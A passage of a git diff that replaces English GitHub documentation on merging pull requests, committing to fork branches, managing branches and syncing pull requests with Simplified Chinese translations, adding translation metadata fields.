“[解决合并冲突](/github/collaborating-with-pull-requests/addressing-merge-conflicts)” diff --git a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request.md b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request.md index a137dad617..30e57b7b3b 100644 --- a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request.md +++ b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request.md @@ -1,6 +1,6 @@ --- -title: Merging a pull request -intro: Merge a pull request into the upstream branch when work is completed. Anyone with push access to the repository can complete the merge. +title: 合并拉取请求 +intro: 在工作完成时将拉取请求合并到上游分支。 对仓库具有推送权限的任何人都可以完成合并。 redirect_from: - /github/collaborating-with-issues-and-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request - /articles/merging-a-pull-request @@ -13,66 +13,70 @@ versions: ghec: '*' topics: - Pull requests +ms.openlocfilehash: cccb85404c9cfe7305d639911528afed3706edfa +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145129632' --- -## About pull request merges +## 关于拉取请求合并 -In a pull request, you propose that changes you've made on a head branch should be merged into a base branch. By default, any pull request can be merged at any time, unless the head branch is in conflict with the base branch. However, there may be restrictions on when you can merge a pull request into a specific branch. For example, you may only be able to merge a pull request into the default branch if required status checks are passing. For more information, see "[About protected branches](/github/administering-a-repository/about-protected-branches)." +在拉取请求中,您提议将您对头部分支所做的更改合并到基础分支。 默认情况下,任何拉取请求都可随时合并,除非头部分支与基本分支冲突。 但是,何时可以将拉取请求合并到特定分支中可能会有一些限制。 例如,如果必需状态检查通过,您可能只能将拉取请求合并到默认分支。 有关详细信息,请参阅“[关于受保护的分支](/github/administering-a-repository/about-protected-branches)”。 {% data reusables.pull_requests.you-can-auto-merge %} -If the pull request has merge conflicts, or if you'd like to test the changes before merging, you can [check out the pull request locally](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally) and merge it using the command line. +如果拉取请求具有合并冲突,或者你在合并前想要测试更改,可以[本地签出拉取请求](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally),然后使用命令行进行合并。 -You can't merge a draft pull request. For more information about draft pull requests, see "[About pull requests](/articles/about-pull-requests#draft-pull-requests)." +无法合并草稿拉取请求。 有关草稿拉取请求的详细信息,请参阅“[关于拉取请求](/articles/about-pull-requests#draft-pull-requests)”。 -The repository may be configured so that the head branch for a pull request is automatically deleted when you merge a pull request. For more information, see "[Managing the automatic deletion of branches](/github/administering-a-repository/managing-the-automatic-deletion-of-branches)." +仓库可配置为在您合并拉请求时自动删除拉取请求的头部分支。 有关详细信息,请参阅“[管理分支的自动删除](/github/administering-a-repository/managing-the-automatic-deletion-of-branches)”。 {% note %} -**Note:** {% data reusables.pull_requests.retargeted-on-branch-deletion %} -For more information, see "[About branches](/github/collaborating-with-issues-and-pull-requests/about-branches#working-with-branches)." +注意:{% data reusables.pull_requests.retargeted-on-branch-deletion %}有关详细信息,请参阅“[关于分支](/github/collaborating-with-issues-and-pull-requests/about-branches#working-with-branches)”。 {% endnote %} -Pull requests are merged using [the `--no-ff` option](https://git-scm.com/docs/git-merge#_fast_forward_merge), except for [pull requests with squashed or rebased commits](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges), which are merged using the fast-forward option. +拉取请求可通过 [`--no-ff` 选项](https://git-scm.com/docs/git-merge#_fast_forward_merge) 进行合并,但[其提交已压缩或变基的拉取请求](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)除外,这些拉取请求通过快进选项进行合并。 {% data reusables.pull_requests.close-issues-using-keywords %} -If you decide you don't want the changes in a topic branch to be merged to the upstream branch, you can [close the pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request) without merging. +如果决定不想让主题分支中的更改合并到上游分支,可以[关闭拉取请求](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request)而不合并。 -## Merging a pull request +## 合并拉取请求 {% webui %} {% data reusables.repositories.sidebar-pr %} -2. In the "Pull Requests" list, click the pull request you'd like to merge. -3. Depending on the merge options enabled for your repository, you can: - - [Merge all of the commits into the base branch](/articles/about-pull-request-merges/) by clicking **Merge pull request**. If the **Merge pull request** option is not shown, then click the merge drop down menu and select **Create a merge commit**. +2. 在“Pull Requests(拉取请求)”列表中,单击要合并的拉取请求。 +3. 根据对仓库启用的合并选项,您可以: + - 单击“合并拉取请求”,[将所有提交合并到基分支中](/articles/about-pull-request-merges/)。 如果未显示“合并拉取请求”选项,则单击合并下拉菜单,然后选择“创建合并提交” 。 ![merge-pull-request-button](/assets/images/help/pull_requests/pullrequest-mergebutton.png) - - [Squash the commits into one commit](/articles/about-pull-request-merges/#squash-and-merge-your-pull-request-commits) by clicking the merge drop down menu, selecting **Squash and merge** and then clicking the **Squash and merge** button. + - 单击合并下拉菜单,选择“压缩并合并”,然后单击“压缩并合并”按钮,[将多个提交压缩为一个提交](/articles/about-pull-request-merges/#squash-and-merge-your-pull-request-commits) 。 ![click-squash-and-merge-button](/assets/images/help/pull_requests/select-squash-and-merge-from-drop-down-menu.png) - - [Rebase the commits individually onto the base branch](/articles/about-pull-request-merges/#rebase-and-merge-your-pull-request-commits) by clicking the merge drop down menu, selecting **Rebase and merge** and then clicking the **Rebase and merge** button. + - 单击合并下拉菜单,选择“变基并合并”,然后单击“变基并合并”按钮,[将多个提交变基为一个基分支](/articles/about-pull-request-merges/#rebase-and-merge-your-pull-request-commits) 。 ![select-rebase-and-merge-from-drop-down-menu](/assets/images/help/pull_requests/select-rebase-and-merge-from-drop-down-menu.png) {% note %} - **Note:** Rebase and merge will always update the committer information and create new commit SHAs. For more information, see "[About pull request merges](/articles/about-pull-request-merges#rebase-and-merge-your-pull-request-commits)." + 注意:变基并合并始终会更新提交者信息,并创建新的提交 SHA。 有关详细信息,请参阅“[关于拉取请求合并](/articles/about-pull-request-merges#rebase-and-merge-your-pull-request-commits)”。 {% endnote %} -4. If prompted, type a commit message, or accept the default message. +4. 如有提示,输入提交消息,或接受默认消息。 - {% data reusables.pull_requests.default-commit-message-squash-merge %} - ![Commit message field](/assets/images/help/pull_requests/merge_box/pullrequest-commitmessage.png) + {% data reusables.pull_requests.default-commit-message-squash-merge %} ![提交消息字段](/assets/images/help/pull_requests/merge_box/pullrequest-commitmessage.png) {% data reusables.files.choose-commit-email %} {% note %} - **Note:** The email selector is not available for rebase merges, which do not create a merge commit{% ifversion squash-merge-email %}. For squash merges, the email selector is only shown if you are the pull request author and you have more than one email address associated with your account.{% else %}, or for squash merges, which credit the user who created the pull request as the author of the squashed commit.{% endif %} + 注意:电子邮件选择器不可用于变基合并(无法创建合并提交)或压缩合并(将创建拉取请求的用户计为压缩提交的作者)。 {% endnote %} -6. Click **Confirm merge**, **Confirm squash and merge**, or **Confirm rebase and merge**. -6. Optionally, [delete the branch](/articles/deleting-unused-branches). This keeps the list of branches in your repository tidy. +6. 单击“确认合并”、“确认压缩并合并”,或“确认变基并合并” 。 +6. (可选)[删除分支](/articles/deleting-unused-branches)。 这有助于仓库的分支列表保持整洁。 {% endwebui %} @@ -80,15 +84,15 @@ If you decide you don't want the changes in a topic branch to be merged to the u {% data reusables.cli.cli-learn-more %} -To merge a pull request, use the `gh pr merge` subcommand. Replace `pull-request` with the number, URL, or head branch of the pull request. +要合并拉取请求,请使用 `gh pr merge` 子命令。 将 `pull-request` 替换为拉取请求的数字、URL 或主分支。 ```shell -gh pr merge PULL-REQUEST +gh pr merge pull-request ``` -Follow the interactive prompts to complete the merge. For more information about the merge methods that you can choose, see "[About pull request merges](/github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)." +按照交互式提示完成合并。 有关可以选择的合并方法的详细信息,请参阅“[关于拉取请求合并](/github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)”。 -Alternatively, you can use flags to skip the interactive prompts. For example, this command will squash the commits into a single commit with the commit message "my squash commit", merge the squashed commit into the base branch, and then delete the local and remote branch. +或者,您可以使用标志跳过交互式提示。 例如,此命令会将提交压缩为带有提交消息“我的压缩提交”的单个提交,将压缩的提交合并到基本分支,然后删除本地和远程分支。 ```shell gh pr merge 523 --squash --body "my squash commit" --delete-branch @@ -96,9 +100,9 @@ gh pr merge 523 --squash --body "my squash commit" --delete-branch {% endcli %} -## Further reading +## 延伸阅读 -- "[Reverting a pull request](/articles/reverting-a-pull-request)" -- "[Syncing your branch](/desktop/guides/contributing-to-projects/syncing-your-branch/)" using {% data variables.product.prodname_desktop %} -- "[About pull request merges](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)" -- "[Addressing merge conflicts](/github/collaborating-with-pull-requests/addressing-merge-conflicts)" +- [还原拉取请求](/articles/reverting-a-pull-request) +- 使用 {% data variables.product.prodname_desktop %} [同步分支](/desktop/guides/contributing-to-projects/syncing-your-branch/) +- [关于拉取请求合并](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges) +- “[解决合并冲突](/github/collaborating-with-pull-requests/addressing-merge-conflicts)” diff --git a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork.md b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork.md index 3d3b8216ae..491d462e79 100644 --- a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork.md +++ b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork.md @@ -1,6 +1,6 @@ --- -title: Committing changes to a pull request branch created from a fork -intro: You can commit changes on a pull request branch that was created from a fork of your repository with permission from the pull request creator. +title: 将更改提交到从复刻创建的拉取请求分支 +intro: 在拉取请求创建者的许可下,您可以在从仓库复刻创建的拉取请求分支上提交更改。 redirect_from: - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork - /articles/committing-changes-to-a-pull-request-branch-created-from-a-fork @@ -14,40 +14,44 @@ versions: topics: - Pull requests shortTitle: Commit to PR branch from fork +ms.openlocfilehash: 123775ecbcc199382fe2082f22ad04db21fb9661 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145129628' --- -You can only make commits on pull request branches that: -- are opened in a repository that you have push access to and that were created from a fork of that repository -- are on a user-owned fork -- have permission granted from the pull request creator -- don't have [branch restrictions](/github/administering-a-repository/about-protected-branches#restrict-who-can-push-to-matching-branches) that will prevent you from committing +在拉取请求分支上进行提交必须满足以下条件: +- 该拉取请求分支在您拥有推送权限的仓库中打开,并且是从仓库的复刻创建的 +- 在用户拥有的复刻上 +- 拥有拉取请求创建者授予的许可 +- 没有阻止你提交的[分支限制](/github/administering-a-repository/about-protected-branches#restrict-who-can-push-to-matching-branches) -Only the user who created the pull request can give you permission to push commits to the user-owned fork. For more information, see "[Allowing changes to a pull request branch created from a fork](/pull-requests/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork)." +只有创建拉取请求的用户才能授予您向用户拥有的复刻推送提交的权限。 有关详细信息,请参阅“[允许更改从复刻创建的拉取请求分支](/pull-requests/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork)”。 {% note %} -**Note:** You can also make commits to a pull request branch from a fork of your repository through {% data variables.location.product_location %} by creating your own copy (or fork) of the fork of your repository and committing changes to the same head branch that the original pull request changes were created on. For some general guidelines, see "[Creating a pull request from a fork](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork)." +**注意:** 还可以通过创建自己的存储库复刻副本(或复刻)并将更改提交到创建原始拉取请求更改的头部分支,从而通过 {% data variables.product.product_location %} 向存储库复刻的拉取请求分支进行提交。 有关一些一般准则,请参阅“[从复刻创建拉取请求](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork)”。 {% endnote %} -1. On {% data variables.product.product_name %}, navigate to the main page of the fork (or copy of your repository) where the pull request branch was created. -{% data reusables.repositories.copy-clone-url %} -{% data reusables.command_line.open_the_multi_os_terminal %} - {% tip %} +1. 在 {% data variables.product.product_name %} 上,导航到创建拉取请求分支的复刻(或仓库副本)的主页面。 +{% data reusables.repositories.copy-clone-url %} {% data reusables.command_line.open_the_multi_os_terminal %} {% tip %} - **Tip:** If you prefer to clone the fork using {% data variables.product.prodname_desktop %}, then see "[Cloning a repository to {% data variables.product.prodname_desktop %}](/articles/cloning-a-repository/#cloning-a-repository-to-github-desktop)." + **提示:** 如果要使用 {% data variables.product.prodname_desktop %} 克隆复刻,请参阅“[将存储库克隆到 {% data variables.product.prodname_desktop %}](/articles/cloning-a-repository/#cloning-a-repository-to-github-desktop)。” {% endtip %} -4. Change the current working directory to the location where you want to download the cloned directory. +4. 将当前工作目录更改为要下载克隆目录的位置。 ```shell $ cd open-source-projects ``` -5. Type `git clone`, and then paste the URL you copied in Step 3. +5. 键入 `git clone`,然后粘贴在步骤 3 中复制的 URL。 ```shell - $ git clone https://{% data variables.command_line.codeblock %}/USERNAME/FORK-OF-THE-REPOSITORY + $ git clone https://{% data variables.command_line.codeblock %}/USERNAME/FORK-OF-THE-REPOSITORY ``` -6. Press **Enter**. Your local clone will be created. +6. 按 **Enter**。 将创建您的本地克隆。 ```shell - $ git clone https://{% data variables.command_line.codeblock %}/USERNAME/FORK-OF-THE-REPOSITORY + $ git clone https://{% data variables.command_line.codeblock %}/USERNAME/FORK-OF-THE-REPOSITORY > Cloning into `FORK-OF-THE-REPOSITORY`... > remote: Counting objects: 10, done. > remote: Compressing objects: 100% (8/8), done. @@ -56,27 +60,26 @@ Only the user who created the pull request can give you permission to push commi ``` {% tip %} - **Tip:** The error message "fatal: destination path 'REPOSITORY-NAME' already exists and is not an empty directory" means that your current working directory already contains a repository with the same name. To resolve the error, you must clone the fork in a different directory. + **提示:** 错误消息“致命错误: 目标路径 'REPOSITORY-NAME' 已存在并且不是空目录”表示你当前的工作目录已包含同名存储库。 要解决此错误,必须将复刻克隆到另一个目录中。 {% endtip %} -7. Navigate into your new cloned repository. +7. 导航到新的克隆仓库。 ```shell - $ cd FORK-OF-THE-REPOSITORY + $ cd FORK-OF-THE-REPOSITORY ``` -7. Switch branches to the compare branch of the pull request where the original changes were made. If you navigate to the original pull request, you'll see the compare branch at the top of the pull request. -![compare-branch-example](/assets/images/help/pull_requests/compare-branch-example.png) - In this example, the compare branch is `test-branch`: +7. 将分支切换到进行原始更改的拉取请求的比较分支。 如果您导航到原始拉取请求,您将在拉取请求的顶部看到比较分支。 +![compare-branch-example](/assets/images/help/pull_requests/compare-branch-example.png) 在此示例中,比较分支为 `test-branch`: ```shell - $ git checkout TEST-BRANCH + $ git checkout test-branch ``` {% tip %} - **Tip:** For more information about pull request branches, including examples, see "[Creating a Pull Request](/articles/creating-a-pull-request#changing-the-branch-range-and-destination-repository)." + **提示:** 有关拉取请求分支的详细信息(包括示例),请参阅“[创建拉取请求](/articles/creating-a-pull-request#changing-the-branch-range-and-destination-repository)”。 {% endtip %} -8. At this point, you can do anything you want with this branch. You can push new commits to it, run some local tests, or merge other branches into the branch. Make modifications as you like. -9. After you commit your changes to the head branch of the pull request you can push your changes up to the original pull request directly. In this example, the head branch is `test-branch`: +8. 现在,您可以使用此分支执行任何操作。 您可以向该分支推送新提交、运行一些本地测试或将其他分支合并到其中。 根据需要进行修改。 +9. 在更改提交到拉取请求的头部分支后,您可以将更改直接推送到原始拉取请求。 在此示例中,头部分支为 `test-branch`: ```shell $ git push origin test-branch > Counting objects: 32, done. @@ -84,12 +87,12 @@ Only the user who created the pull request can give you permission to push commi > Compressing objects: 100% (26/26), done. > Writing objects: 100% (29/29), 74.94 KiB | 0 bytes/s, done. > Total 29 (delta 8), reused 0 (delta 0) - > To https://{% data variables.command_line.codeblock %}/USERNAME/FORK-OF-THE-REPOSITORY.git - > 12da2e9..250e946 TEST-BRANCH -> TEST-BRANCH + > To https://{% data variables.command_line.codeblock %}/USERNAME/FORK-OF-THE-REPOSITORY.git + > 12da2e9..250e946 test-branch -> test-branch ``` -Your new commits will be reflected on the original pull request on {% data variables.location.product_location %}. +您的新提交将反映在 {% data variables.product.product_location %} 上的原始拉取请求中。 -## Further Reading +## 深入阅读 -- "[About forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)" +- “[关于复刻](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)” diff --git a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository.md b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository.md index 8ef0737eac..bd8cd1a745 100644 --- a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository.md +++ b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository.md @@ -1,6 +1,6 @@ --- -title: Creating and deleting branches within your repository -intro: 'You can create or delete branches directly on {% data variables.product.product_name %}.' +title: 创建和删除仓库中的分支 +intro: '您可以直接在 {% data variables.product.product_name %} 上创建或删除分支。' redirect_from: - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository - /articles/deleting-branches-in-a-pull-request @@ -14,69 +14,70 @@ versions: topics: - Pull requests shortTitle: Create & delete branches +ms.openlocfilehash: 44b56d8a1884e5cbfe0832f291cdc244b57a3810 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147526628' --- - -## Creating a branch -You can create a branch in different ways on {% data variables.product.product_name %}. +## 创建分支 +可以在 {% data variables.product.product_name %} 上以不同的方式创建分支。 {% note %} -**Note:** You can only create a branch in a repository to which you have push access. +注意:只能在具有推送访问权限的存储库中创建分支。 {% endnote %} {% ifversion create-branch-from-overview %} -### Creating a branch via the branches overview -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.navigate-to-branches %} -1. Click **New branch**. - ![Screenshot of branches overview page with new branch button emphasized](/assets/images/help/branches/new-branch-button.png) -2. In the dialog box, enter the branch name and optionally change the branch source. - If the repository is a fork, you also have the option to select the upstream repository as the branch source. - ![Screenshot of branch creation modal for a fork with branch source emphasized](/assets/images/help/branches/branch-creation-popup-branch-source.png) -3. Click **Create branch**. - ![Screenshot of branch creation modal with create branch button emphasized](/assets/images/help/branches/branch-creation-popup-button.png) -{% endif %} +### 通过分支概述创建分支 +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.navigate-to-branches %} +1. 单击“新建分支”。 + ![分支概述页的屏幕截图,其中突出显示了“新建分支”按钮](/assets/images/help/branches/new-branch-button.png) +2. 在对话框中,输入分支名称,并可选择性地更改分支源。 + 如果存储库是一个分支,还可以选择上游存储库作为分支源。 + ![分支的分支创建模式的屏幕截图,其中突出显示了“分支源”](/assets/images/help/branches/branch-creation-popup-branch-source.png) +3. 单击“创建分支”。 + ![分支创建模式的屏幕截图,其中突出显示了“创建分支”按钮](/assets/images/help/branches/branch-creation-popup-button.png) {% endif %} -### Creating a branch using the branch dropdown +### 使用分支下拉列表创建分支 {% data reusables.repositories.navigate-to-repo %} -1. Optionally, if you want to create the new branch from a branch other than the default branch of the repository, click {% octicon "git-branch" aria-label="The branch icon" %} **Branches** then choose another branch. - ![Branches link on overview page](/assets/images/help/branches/branches-overview-link.png) -1. Click the branch selector menu. - ![branch selector menu](/assets/images/help/branch/branch-selection-dropdown.png) -1. Type a unique name for your new branch, then select **Create branch**. - ![branch creation text box](/assets/images/help/branch/branch-creation-text-box.png) +1. (可选)如果要从存储库的默认分支以外的分支创建新分支,请单击“{% octicon "git-branch" aria-label="The branch icon" %} 分支”,然后选择另一个分支。 + ![概述页面上的分支链接](/assets/images/help/branches/branches-overview-link.png) +1. 单击分支选择器菜单。 + ![分支选择器菜单](/assets/images/help/branch/branch-selection-dropdown.png) +1. 键入新分支的唯一名称,然后选择“创建分支”。 + ![分支创建文本框](/assets/images/help/branch/branch-creation-text-box.png) {% ifversion fpt or ghec or ghes > 3.4 %} -### Creating a branch for an issue -You can create a branch to work on an issue directly from the issue page and get started right away. For more information, see "[Creating a branch to work on an issue](/issues/tracking-your-work-with-issues/creating-a-branch-for-an-issue)". +### 为问题创建分支 +可以创建一个分支以直接从问题页面处理问题,方便快捷。 有关详细信息,请参阅“[创建分支以处理问题](/issues/tracking-your-work-with-issues/creating-a-branch-for-an-issue)”。 {% endif %} -## Deleting a branch +## 删除分支 {% data reusables.pull_requests.automatically-delete-branches %} {% note %} -**Note:** If the branch you want to delete is the repository's default branch, you must choose a new default branch before deleting the branch. For more information, see "[Changing the default branch](/github/administering-a-repository/changing-the-default-branch)." +**注意:** 如果要删除的分支是存储库的默认分支,则在删除该分支之前必须选择新的默认分支。 有关详细信息,请参阅“[更改默认分支](/github/administering-a-repository/changing-the-default-branch)”。 {% endnote %} -If the branch you want to delete is associated with an open pull request, you must merge or close the pull request before deleting the branch. For more information, see "[Merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)" or "[Closing a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request)." +如果要删除的分支与打开的拉取请求关联,则在删除该分支之前必须合并或关闭拉取请求。 有关详细信息,请参阅“[合并拉取请求](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)”或“[关闭拉取请求](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request)”。 -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.navigate-to-branches %} -1. Scroll to the branch that you want to delete, then click {% octicon "trash" aria-label="The trash icon to delete the branch" %}. - ![delete the branch](/assets/images/help/branches/branches-delete.png) {% ifversion fpt or ghes > 3.5 or ghae > 3.5 or ghec %} -1. If you try to delete a branch that is associated with at least one open pull request, you must confirm that you intend to close the pull request(s). +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.navigate-to-branches %} +1. 滚动到要删除的分支,然后单击 {% octicon "trash" aria-label="The trash icon to delete the branch" %}。 + ![删除分支](/assets/images/help/branches/branches-delete.png){% ifversion fpt or ghes > 3.5 or ghae-issue-6763 or ghec %} +1. 如果尝试删除与至少一个打开的拉取请求关联的分支,必须确认要关闭拉取请求。 - ![Confirm deleting a branch](/assets/images/help/branches/confirm-deleting-branch.png){% endif %} + ![确认删除分支](/assets/images/help/branches/confirm-deleting-branch.png){% endif %} -{% data reusables.pull_requests.retargeted-on-branch-deletion %} -For more information, see "[About branches](/github/collaborating-with-issues-and-pull-requests/about-branches#working-with-branches)." +{% data reusables.pull_requests.retargeted-on-branch-deletion %} 有关详细信息,请参阅“[关于分支](/github/collaborating-with-issues-and-pull-requests/about-branches#working-with-branches)”。 -## Further reading +## 延伸阅读 -- "[About branches](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches)" -- "[Viewing branches in your repository](/github/administering-a-repository/viewing-branches-in-your-repository)" -- "[Deleting and restoring branches in a pull request](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request)" +- [关于分支](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches) +- [查看存储库中的分支](/github/administering-a-repository/viewing-branches-in-your-repository) +- [删除和恢复拉取请求中的分支](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request) diff --git a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/keeping-your-pull-request-in-sync-with-the-base-branch.md b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/keeping-your-pull-request-in-sync-with-the-base-branch.md index b40883211d..ef6021e594 100644 --- a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/keeping-your-pull-request-in-sync-with-the-base-branch.md +++ b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/keeping-your-pull-request-in-sync-with-the-base-branch.md @@ -1,6 +1,6 @@ --- -title: Keeping your pull request in sync with the base branch -intro: 'After you open a pull request, you can update the head branch, which contains your changes, with any changes that have been made in the base branch.' +title: 使拉取请求与基础分支保持同步 +intro: 打开拉取请求后,可以使用基础分支中所做的任何更改更新头分支(其中包含你所做的更改)。 permissions: People with write permissions to the repository to which the head branch of the pull request belongs can update the head branch with changes that have been made in the base branch. versions: fpt: '*' @@ -10,47 +10,48 @@ versions: topics: - Pull requests shortTitle: Update the head branch +ms.openlocfilehash: d7819b45cf3290c09e3b231825e494fd1d82daea +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145130091' --- +## 关于使拉取请求保持同步 -## About keeping your pull request in sync +在合并拉取请求之前,其他更改可能会合并到基础分支中,从而导致拉取请求的头分支不同步。使用来自基础分支的最新更改更新拉取请求有助于在合并之前发现问题。 -Before merging your pull requests, other changes may get merged into the base branch causing your pull request's head branch to be out of sync. Updating your pull request with the latest changes from the base branch can help catch problems prior to merging. +可以从命令行或拉取请求页更新拉取请求的头分支。 当所有这些均为 true 时,将显示“更新分支”按钮: -You can update a pull request's head branch from the command line or the pull request page. The **Update branch** button is displayed when all of these are true: +* 拉取请求分支和基础分支之间没有合并冲突。 +* 拉取请求分支未与基础分支保持同步。 +* 基础分支在合并 {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-6069 %} 之前要求分支是最新的,或启用始终建议更新分支的设置{% endif %}。 -* There are no merge conflicts between the pull request branch and the base branch. -* The pull request branch is not up to date with the base branch. -* The base branch requires branches to be up to date before merging{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} or the setting to always suggest updating branches is enabled{% endif %}. +有关详细信息,请参阅“[合并之前需要检查状态](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches) {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-6069 %}”和“[管理更新拉取请求分支的建议](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-suggestions-to-update-pull-request-branches) {% endif %}”。 -For more information, see "[Require status checks before merging](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches){% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}" and "[Managing suggestions to update pull request branches](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-suggestions-to-update-pull-request-branches){% endif %}." +如果对基础分支的更改导致拉取请求分支中的合并冲突,则在所有冲突都解决之前,你将无法更新分支。 有关详细信息,请参阅“[关于合并冲突](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/about-merge-conflicts)”。 -If there are changes to the base branch that cause merge conflicts in your pull request branch, you will not be able to update the branch until all conflicts are resolved. For more information, see "[About merge conflicts](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/about-merge-conflicts)." - -{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} -From the pull request page you can update your pull request's branch using a traditional merge or by rebasing. A traditional merge results in a merge commit that merges the base branch into the head branch of the pull request. Rebasing applies the changes from _your_ branch onto the latest version of the base branch. The result is a branch with a linear history, since no merge commit is created. -{% else %} -Updating your branch from the pull request page performs a traditional merge. The resulting merge commit merges the base branch into the head branch of the pull request. +{% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-6069 %} 从拉取请求页面,可以使用传统合并或变基来更新拉取请求的分支。 传统的合并会导致合并提交,将基础分支合并到拉取请求的头分支。 变基将你的分支中的更改应用到最新版本的基础分支上。 结果是具有线性历史记录的分支,因为不会创建合并提交。 +{% else %} 从拉取请求页更新分支执行传统合并。 生成的合并提交将基础分支合并到拉取请求的头分支中。 {% endif %} -## Updating your pull request branch +## 更新拉取请求分支 {% data reusables.repositories.sidebar-pr %} -1. In the "Pull requests" list, click the pull request you'd like to update. +1. 在“拉取请求”列表中,单击要更新的拉取请求。 -{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} -1. In the merge section near the bottom of the page, you can: - - Click **Update branch** to perform a traditional merge. - ![Button to update branch](/assets/images/help/pull_requests/pull-request-update-branch-with-dropdown.png) - - Click the update branch drop down menu, click **Update with rebase**, and then click **Rebase branch** to update by rebasing on the base branch. - 